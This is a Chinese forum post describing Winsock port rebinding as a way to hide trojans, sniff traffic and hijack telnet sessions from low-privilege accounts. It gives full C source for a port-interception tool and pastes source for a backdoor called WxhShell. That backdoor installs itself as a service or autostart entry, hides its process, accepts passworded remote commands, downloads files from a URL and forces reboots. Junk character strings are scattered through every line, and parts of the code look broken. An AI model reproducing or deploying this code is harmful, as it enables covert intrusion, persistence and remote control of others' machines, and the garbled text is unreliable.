社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13844阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vA>W9OI   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {8CWWfHCD  
zy)i1d  
  saddr.sin_family = AF_INET; _w u*M  
r_o<SH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f_<Y\  
|rPAC![=  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !#}>Hv^N  
P;U@y" s  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >4)g4~'n!  
Rt4di^v  
  这意味着什么?意味着可以进行如下的攻击: Jt=>-Spj  
Bymny>.M  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 WYO\'W  
Y3o Mh,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i?>Hr|  
lX;mhJj!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MUwVG>b8J~  
[thboP.?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uWc:jP  
Uf2:gLrF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 c E76L%O  
kK?zVH-!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j#igu#MB*  
K2|7%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &oN/_7y  
fM":f| G  
  #include b(&] >z  
  #include xrI}3T  
  #include iZTa>@   
  #include    yYX :huw  
  DWORD WINAPI ClientThread(LPVOID lpParam);   mw+j|{[  
  int main() h$&rE@N|  
  { 0xP:9rm  
  WORD wVersionRequested; fv ?45f  
  DWORD ret; y4<+-  
  WSADATA wsaData; qS]G&l6QF  
  BOOL val; (#u{ U=  
  SOCKADDR_IN saddr; ,+-h7^{`  
  SOCKADDR_IN scaddr; \(u@F<s-  
  int err; WOb8 "*OM  
  SOCKET s; # #>a&,  
  SOCKET sc; :~-i&KNk  
  int caddsize; Lz6*H1~   
  HANDLE mt; 2oB?Dn  
  DWORD tid;   }su6izx  
  wVersionRequested = MAKEWORD( 2, 2 ); ;&mxqY8`'  
  err = WSAStartup( wVersionRequested, &wsaData ); ;,`]O!G:P  
  if ( err != 0 ) { I9/KM4&  
  printf("error!WSAStartup failed!\n"); BhkAQEsWTQ  
  return -1; jkCHi@  
  } <G9<"{  
  saddr.sin_family = AF_INET; pn*d[M|k  
    2}!R T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iiN?\OO^~  
S w "|iBZ@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D;C5,rN t  
  saddr.sin_port = htons(23); $Sw,hb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .f%vDBJS  
  { hg&u0AQ2  
  printf("error!socket failed!\n"); !7Uu]m69n  
  return -1; eoL0^cZj  
  } ?\d5;%YSr  
  val = TRUE; PL!tk^;6-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @7X\tV.Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K*:Im #Q  
  { 'A1E^rl]=  
  printf("error!setsockopt failed!\n"); *vD/(&pQ1:  
  return -1; W U0UG$o`  
  } 0#]!#1utg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ChVY Vx(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i6A$1(:h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oVreP  
8x gc[#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !xH,y  
  { n4R]+&*  
  ret=GetLastError(); Crg#6k1~EN  
  printf("error!bind failed!\n"); ~=Fk/  
  return -1; x3_,nl  
  } 8_Jj+  
  listen(s,2); 9Q=>MOB-  
  while(1) ^T+<!k  
  { 1sMV`qv>  
  caddsize = sizeof(scaddr); - BjEL;  
  //接受连接请求 /rOnm=P+Q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6ku8`WyoF  
  if(sc!=INVALID_SOCKET) d}pGeU'  
  { d4V 2[TX  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \CDAFu#  
  if(mt==NULL) P 4H*jy@?  
  { `43vxcMg  
  printf("Thread Creat Failed!\n"); 9M nem*  
  break; CP@o,v-  
  } n }TTq6B  
  } eoC<a"bJ>  
  CloseHandle(mt); > `0| X  
  } yq!CWXZ2  
  closesocket(s); ~6MMErSj  
  WSACleanup(); #yX^?+Rc  
  return 0; jigbeHRy  
  }   y]MWd#U  
  DWORD WINAPI ClientThread(LPVOID lpParam) O2$!'!hz  
  { _3I3AG0e  
  SOCKET ss = (SOCKET)lpParam; zK,~37)\  
  SOCKET sc; "wF*O"WQo  
  unsigned char buf[4096]; G1A$PR  
  SOCKADDR_IN saddr; Dn: Yi8=  
  long num; KZi+j#7O  
  DWORD val; H]U "+52h  
  DWORD ret; $=7H1 w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 U:J /\-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZIDFF  
  saddr.sin_family = AF_INET; D . 77WjwQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); F6~b#Jz&i  
  saddr.sin_port = htons(23); F61 +n!%8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7Y4%R`9H  
  { p-a]"l+L  
  printf("error!socket failed!\n"); _pJX1_vD  
  return -1; Q-:Ah:/  
  } *P&OxVz  
  val = 100; +V6j`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rknzo]N,  
  { Qz'O{f  
  ret = GetLastError(); J&(  
  return -1; p$B)^S%0i  
  } ws#hhW3qK  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l DgzM3  
  { KX]-ll  
  ret = GetLastError(); zj%cd;  
  return -1; Wnb)*pPP  
  } < JGYr 4V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H+nr5!`kz  
  { }`#j;H$i  
  printf("error!socket connect failed!\n"); zf}rfn  
  closesocket(sc); u|(aS^H=q  
  closesocket(ss); 9tW3!O^_  
  return -1; (69kvA&|q  
  } HW^{;'kH~  
  while(1) (2n3exx  
  { o@Dk%LxP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wHq('+{=&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %`bLmfm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;<86P3S  
  num = recv(ss,buf,4096,0); y>?k<)nA{  
  if(num>0) ~_ (!}V  
  send(sc,buf,num,0); _.u~)Q`6  
  else if(num==0)  GE{8I<7c  
  break; % E<FB;h  
  num = recv(sc,buf,4096,0); 3L%Y"4(mm  
  if(num>0) .0 rJIO  
  send(ss,buf,num,0); Kv(Y }  
  else if(num==0) 44z=m MR<  
  break; SZNFE  
  } ER0TY,  
  closesocket(ss); 4KN0i  
  closesocket(sc); A;K{&x  
  return 0 ; s9^"wN YQ  
  } xKRfl1  
F^4*|g  
KB$ vQ@N  
========================================================== aMe%#cLI  
=iA"; x  
下边附上一个代码,,WXhSHELL =f/avGX  
wCqE4i  
========================================================== K+(m'3`  
c`Lpqs`  
#include "stdafx.h" vbW\~xf  
**"zDY*?W  
#include <stdio.h> 0tn7Rkiw  
#include <string.h> A0'tCq]?0  
#include <windows.h> Lqy|DJ%  
#include <winsock2.h> gEX:S(1 QP  
#include <winsvc.h> k i~Raa/e  
#include <urlmon.h> FZ;Y vdX6  
uOy\{5s8  
#pragma comment (lib, "Ws2_32.lib") Ke'YM{  
#pragma comment (lib, "urlmon.lib") EfMG(oI  
`K1PGibV  
#define MAX_USER   100 // 最大客户端连接数 U`},)$  
#define BUF_SOCK   200 // sock buffer ',v0vyO8  
#define KEY_BUFF   255 // 输入 buffer gME:\ud$  
9 ayH:;  
#define REBOOT     0   // 重启 O% j,:t'"  
#define SHUTDOWN   1   // 关机 So3,Z'z=  
Cf8R2(-4  
#define DEF_PORT   5000 // 监听端口 C{lB/F/|!  
7!]k#|u  
#define REG_LEN     16   // 注册表键长度 IFHgD}kp%#  
#define SVC_LEN     80   // NT服务名长度 :Map,]]B_  
c/,|[ t  
// 从dll定义API fh/)di  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *R1d4|/G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cHfK-R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?Vb=4B{~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); SV$ASs  
hNgcE,67q  
// wxhshell配置信息 .>cL/KaP  
struct WSCFG { k;9#4^4(  
  int ws_port;         // 监听端口 IWSEssP  
  char ws_passstr[REG_LEN]; // 口令 [m@e^6F0U  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tg}H < T  
  char ws_regname[REG_LEN]; // 注册表键名 `K ~>!d_  
  char ws_svcname[REG_LEN]; // 服务名 eFeCS{LV+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pD)/- Dgdm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `\}zm~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $txWVjR?\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {;wK,dU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v: !7n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rSzXa4m(  
SK~;<>:37  
}; /3bca!O  
dh7)N}2  
// default Wxhshell configuration s2 t-T0;  
struct WSCFG wscfg={DEF_PORT, Y?q*hS0!H  
    "xuhuanlingzhe", x<j($iv  
    1, 5}(YMsUb  
    "Wxhshell", 9fk\Ay1P  
    "Wxhshell", 1[,#@!k@  
            "WxhShell Service", R _~m\P  
    "Wrsky Windows CmdShell Service", omDi<-  
    "Please Input Your Password: ", `XRb:d^  
  1, KfN`ZZ<  
  "http://www.wrsky.com/wxhshell.exe", Qc)RrqYNGF  
  "Wxhshell.exe" mYU dhL ^  
    }; :D)&>{?  
tue%L]hc  
// 消息定义模块 bU@>1>b6lE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RI< Yg#   
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~P.-3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {e!uvz,e  
char *msg_ws_ext="\n\rExit."; B[k+#YYY  
char *msg_ws_end="\n\rQuit."; AF{7<v>/P  
char *msg_ws_boot="\n\rReboot..."; DdA}A>47  
char *msg_ws_poff="\n\rShutdown..."; 0 Ci"tA3"  
char *msg_ws_down="\n\rSave to "; T[2f6[#[_  
<]SS gQ9/"  
char *msg_ws_err="\n\rErr!"; q2"'W|I  
char *msg_ws_ok="\n\rOK!"; smQpIB;  
gx{~5&1  
char ExeFile[MAX_PATH]; j,V$vKP  
int nUser = 0; &B>uPZ]  
HANDLE handles[MAX_USER]; x%Y a*T  
int OsIsNt; 4wEpyQ|L  
%v6]>FNP'3  
SERVICE_STATUS       serviceStatus; (Os OPTp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7Q4Pjc D  
"Y J;-$rb  
// 函数声明 (2a "W`  
int Install(void); bm]dz;ljh  
int Uninstall(void); `E1_S  
int DownloadFile(char *sURL, SOCKET wsh); "Z1&z-   
int Boot(int flag); %2FCpre;  
void HideProc(void); I}CA-8  
int GetOsVer(void); DcvmeGl  
int Wxhshell(SOCKET wsl); ():?FJ M  
void TalkWithClient(void *cs); ,, -[P*@  
int CmdShell(SOCKET sock); 28L'7  
int StartFromService(void); %l$&_xV-  
int StartWxhshell(LPSTR lpCmdLine); 1*Fvx-U'  
QR-R5XNT[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pkMON}"mj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I3y4O^?  
b "3T(#2<*  
// 数据结构和表定义 $5 p'+bE  
SERVICE_TABLE_ENTRY DispatchTable[] = }R] }@i~i  
{ ])l[tVHm  
{wscfg.ws_svcname, NTServiceMain}, }EG(!)u  
{NULL, NULL} PvBbtC-9b  
}; %YAiSSsV  
)'CEWc%  
// 自我安装 ]|BSX-V.%i  
int Install(void) 5K-)X9z?  
{ ) CTM  
  char svExeFile[MAX_PATH]; ]<?)(xz  
  HKEY key; 1KR|i"  
  strcpy(svExeFile,ExeFile); &>b1ES.>  
?B!ZqJ#  
// 如果是win9x系统,修改注册表设为自启动 ~0{Kga  
if(!OsIsNt) { 32FGDM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pNWp3+a'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I*R$*/)  
  RegCloseKey(key); CXFAb1m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w1G.^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1@dx(_  
  RegCloseKey(key); lH>XIEj  
  return 0; nEEGO~e  
    } RUtS_Z&  
  } :P1c>:j[  
} meD (ja  
else { `v{X@x  
=eLb"7C#0  
// 如果是NT以上系统,安装为系统服务 OYy !4Fp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c9@jyq_H?  
if (schSCManager!=0) ng*E9Puu[  
{ F}DD;K  
  SC_HANDLE schService = CreateService E\N=p&g$  
  (  (t['  
  schSCManager, ,F Vy:"FR  
  wscfg.ws_svcname, W+S; Do  
  wscfg.ws_svcdisp, O; sQPG,v  
  SERVICE_ALL_ACCESS, [k}\{i>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cTTE] ix]  
  SERVICE_AUTO_START, )eMh,r  
  SERVICE_ERROR_NORMAL, .u?$h0u5  
  svExeFile, Y/(-mcR  
  NULL, 1 *CWHs  
  NULL,  nGd  
  NULL, {f3fc8(p  
  NULL, dw!Eao47  
  NULL wKbymmG  
  ); gI3rF=  
  if (schService!=0) (32nI?)a  
  { 9?c^~77  
  CloseServiceHandle(schService); [![ (h %  
  CloseServiceHandle(schSCManager); ,RO(k4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .p}Kl$K]  
  strcat(svExeFile,wscfg.ws_svcname); 1hS~!r'qqv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x@}Fn:c!5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;qK6."b`;  
  RegCloseKey(key); EQ $9IaY.  
  return 0; I!O S&8:u  
    } ~=ys~em e  
  } Acv{XnB  
  CloseServiceHandle(schSCManager); tY=TY{RY  
} {jf~?/<  
} ptQ (7N  
0z#kV}wE  
return 1; ;)a9Y?  
} y*(j{0yd  
D:EF@il  
// 自我卸载 V~Lq, oth  
int Uninstall(void) GA}^Rh`T-  
{ Uroj%xN  
  HKEY key; TMsoQ82  
 e5]AB  
if(!OsIsNt) { +cH(nZ*f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1D6O=j\  
  RegDeleteValue(key,wscfg.ws_regname); \TlUC<urP  
  RegCloseKey(key); oy: MM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2&URIQg*J  
  RegDeleteValue(key,wscfg.ws_regname); ?Fpl.t~  
  RegCloseKey(key); 18`%WUPnT  
  return 0; p]eD@3Wz  
  } n<*]`do,w  
} &N0|tn  
} v{ Ve sf  
else { ,ua1xsZl&  
$(=1A>40  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >t(@?*ZFT  
if (schSCManager!=0) %'z3es0  
{ ): C4}&l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q+~CA[H5K  
  if (schService!=0) {Z.@-Tl_  
  { 2A+,. S_!x  
  if(DeleteService(schService)!=0) { J3;KQ}F.I  
  CloseServiceHandle(schService); n.RhA-O  
  CloseServiceHandle(schSCManager); 7d)' y  
  return 0; eUlb6{!y?  
  } W<o0Z OO  
  CloseServiceHandle(schService); qH"a!  
  } -+|[0hpw  
  CloseServiceHandle(schSCManager); v1)6")8o+  
} E2D8s=r  
} qw1J{xoHW  
AAgA]OD,  
return 1; ?%Fk0E#>2  
} UULL:vqq  
caht4N{T  
// 从指定url下载文件 l.l~K%P'h  
int DownloadFile(char *sURL, SOCKET wsh) f34&:xz2U  
{ G|_aU8b|t  
  HRESULT hr; !yrHVc  
char seps[]= "/"; 926oM77  
char *token; "@$STptkc  
char *file; ?UDO%`X  
char myURL[MAX_PATH]; )A=g# D#  
char myFILE[MAX_PATH]; _<Yo2,1^  
faX#KRpfd  
strcpy(myURL,sURL); MX,0gap  
  token=strtok(myURL,seps); [bJnl>A  
  while(token!=NULL) G[j79o  
  { BwD1}1jp  
    file=token; ^/vWK\-  
  token=strtok(NULL,seps); sb.SpF>   
  } krc!BK`V  
^#se4qQ  
GetCurrentDirectory(MAX_PATH,myFILE); -74T C  
strcat(myFILE, "\\"); 3>v0W@C  
strcat(myFILE, file); *DzPkaYD>  
  send(wsh,myFILE,strlen(myFILE),0); 0EXNq*=EE  
send(wsh,"...",3,0); Dj(7'jT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Pc== ]H(  
  if(hr==S_OK) :j4 [_9\  
return 0; uF"`y&go  
else *!@x<Hf<  
return 1; tC-KW~&  
[HDO^6U  
} ! -@!u   
Qe.kN dT+_  
// 系统电源模块 ^?[<!VBI  
int Boot(int flag) _\PoZ|G4y  
{ E,yK` mPp^  
  HANDLE hToken; (OQ @!R&  
  TOKEN_PRIVILEGES tkp; 4[0?F!%  
RNtA4rC>#  
  if(OsIsNt) { 1Z8oN3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ] Nipo'N;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~')t1Ay s  
    tkp.PrivilegeCount = 1; #!# X3j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^VPl>jTg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )m;qv'=!  
if(flag==REBOOT) { ABmDSV5i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Uy|=A7Ad c  
  return 0; 7#qL9+G  
} 6FMW g:{  
else { @6'E8NFl  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #2ASzCe  
  return 0; '$-,;vnP0  
} *r$.1nke  
  } +Z2<spqG  
  else { KXCmCn  
if(flag==REBOOT) { Q9tE^d+%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qFbUM;  
  return 0; )0MshgM  
} w1(06A}/  
else { v} ;qMceJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) X$Vz  
  return 0; Go7hDmu  
} 5?0gC&WfN  
} aZGDtzNG5h  
) '`AX\  
return 1; f<p4Pkv  
} <>Ddxmw  
`h5eej&s(  
// win9x进程隐藏模块 L#q9_-(#  
void HideProc(void) x`vs-Y:P  
{ HTyF<K  
~7WXjVZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #ic 2ofI  
  if ( hKernel != NULL ) g~:(EO(w  
  { e4%*I8 ^e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e`M]ZG rr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Ru%E>el-  
    FreeLibrary(hKernel); 9|A-oS  
  } &ntP~!w  
13_~)V  
return; bRz^=  
} RXS|-_$  
*oX]=u&  
// 获取操作系统版本 pQ(eF0KG  
int GetOsVer(void) Ss! 3{VW  
{ gLMea:  
  OSVERSIONINFO winfo; 1$D`Z/N"A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;s. 5\YZ"k  
  GetVersionEx(&winfo); Q1\k`J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B~g05`s  
  return 1; #Y>%Dr&  
  else ;Pqyu ?  
  return 0; q&d&#3Rh  
} 3H}~eEg,  
}>X\"  
// 客户端句柄模块 Q>a7Ps@~  
int Wxhshell(SOCKET wsl) L[Yp\[#-q  
{ {F+M&+``  
  SOCKET wsh; s?x>Yl %  
  struct sockaddr_in client; 'BdmFKy1  
  DWORD myID; oT (:33$  
+[8Kl=]L  
  while(nUser<MAX_USER) Y!1^@;)^  
{ cm 9oG  
  int nSize=sizeof(client); C6V&R1"s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0"qim0%|DF  
  if(wsh==INVALID_SOCKET) return 1; /\a]S:V-j  
)cqDvH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OV("mNh  
if(handles[nUser]==0) LLn{2,jfQ  
  closesocket(wsh); nHA`B.:B  
else }8F$& AFt  
  nUser++; "i{_<;p O  
  } x1V2|~;p|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^8oc^LOa~2  
KWh M  
  return 0; u ?G\b{$m  
} Jt>[]g$  
P`3s\8[Q  
// 关闭 socket `\F%l?aY  
void CloseIt(SOCKET wsh) Cs[7% j  
{ -Mi}yi  
closesocket(wsh); Op/79 ]$  
nUser--; j #I:6yA3  
ExitThread(0); <A -(&+  
} ;?L!1wklA  
M o"JV  
// 客户端请求句柄 Jm (&G  
void TalkWithClient(void *cs) Q f+p0E;  
{ :ONuWNY N  
lO2T/1iMTW  
  SOCKET wsh=(SOCKET)cs; [71#@^ye  
  char pwd[SVC_LEN]; <{NYD .  
  char cmd[KEY_BUFF]; h-b5   
char chr[1]; h/ X5w4  
int i,j; 1ntkM?  
!V]MLA`  
  while (nUser < MAX_USER) { L;--d`[  
v :+8U[x  
if(wscfg.ws_passstr) { N;x<| %peL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LE<u&9I\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~6-"i0k  
  //ZeroMemory(pwd,KEY_BUFF); si^4<$Nr%j  
      i=0; Z`oaaO  
  while(i<SVC_LEN) { Od!F: <  
eN]>l  
  // 设置超时 )zW%\s*'  
  fd_set FdRead; 5rfH;`  
  struct timeval TimeOut; ]/o12pI  
  FD_ZERO(&FdRead); Jny)uo8  
  FD_SET(wsh,&FdRead); Zc%foK{  
  TimeOut.tv_sec=8; P!FEh'.  
  TimeOut.tv_usec=0; kBy rhK5U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #6N+5Yx_[  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oEQ{m5O9  
y^d[( c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KM/U?`6>:  
  pwd=chr[0]; .L^pMU+!^  
  if(chr[0]==0xd || chr[0]==0xa) { bCA2ik  
  pwd=0; Xb=2/\}|f  
  break; rQcRjh+E H  
  } U R1JbyT  
  i++; B.22 DuE#  
    } BSfm?ku"!  
tM^;?HL]  
  // 如果是非法用户,关闭 socket ~MhgAC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2JiAd*WK  
} ! EX?m }7  
QY~<~<d+G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U/X|i /  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ePq13!FC/  
15xd~V?ai:  
while(1) { MegE--h  
Qe>i{:N  
  ZeroMemory(cmd,KEY_BUFF); \LdmGv@ &  
wC(vr.,F  
      // 自动支持客户端 telnet标准   '?"t<$b  
  j=0; la\zaKC;>  
  while(j<KEY_BUFF) { xS;|j j9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OU,PO2xX9  
  cmd[j]=chr[0]; EjR_-8@FK  
  if(chr[0]==0xa || chr[0]==0xd) { k_D4'(V:b  
  cmd[j]=0; 4<G?  
  break; 7Wwp )D  
  } ~A`&/U  
  j++; (C`FicY  
    } O{k89{  
>~I xyQp  
  // 下载文件 gppBFS  
  if(strstr(cmd,"http://")) { bp]^EVx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hp)X^O"  
  if(DownloadFile(cmd,wsh)) n7IL7?!o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `z|= ~  
  else pk-yj~F}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r}/yi  
  } ;wij}y-6  
  else { 2;r]gT~  
Sl3KpZ  
    switch(cmd[0]) { Gb(C#,xbK  
  nG"tO'J6  
  // 帮助 @+'c+  
  case '?': { k}-yOP{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1~}m.ER  
    break; yZYK wKG  
  } Ps U9R#HL1  
  // 安装 R K"&l!o  
  case 'i': { UL86-R!  
    if(Install())  L5"8G,I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |@ikx{W  
    else :s'o~   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q} ]'Q -  
    break; j/)"QiS*?  
    } r<;l{7lY_  
  // 卸载 &w+;N5}3  
  case 'r': { 9[cp7 Rcb  
    if(Uninstall()) }JRP,YNh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ecr886  
    else Ua):y) A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _& 8O~8tW  
    break; &qJPwO  
    } ;~ W8v.EW  
  // 显示 wxhshell 所在路径 Zimh _  
  case 'p': { J+Q+&-a  
    char svExeFile[MAX_PATH]; P!kw;x  
    strcpy(svExeFile,"\n\r"); lj .nCV_  
      strcat(svExeFile,ExeFile); kTnOmA w  
        send(wsh,svExeFile,strlen(svExeFile),0); H@V 7!d  
    break; sK+ (v  
    } *_`76`cz%X  
  // 重启 &^ V~cJ  
  case 'b': { nD7|8,'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NF6X- ,c d  
    if(Boot(REBOOT)) yJ%t^ X_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _p\629`  
    else { kmryu=  
    closesocket(wsh); =EQJqj1T  
    ExitThread(0); _|N}4a  
    } 3pvYi<<D'  
    break; !X^Hi=aV  
    } :6XguU  
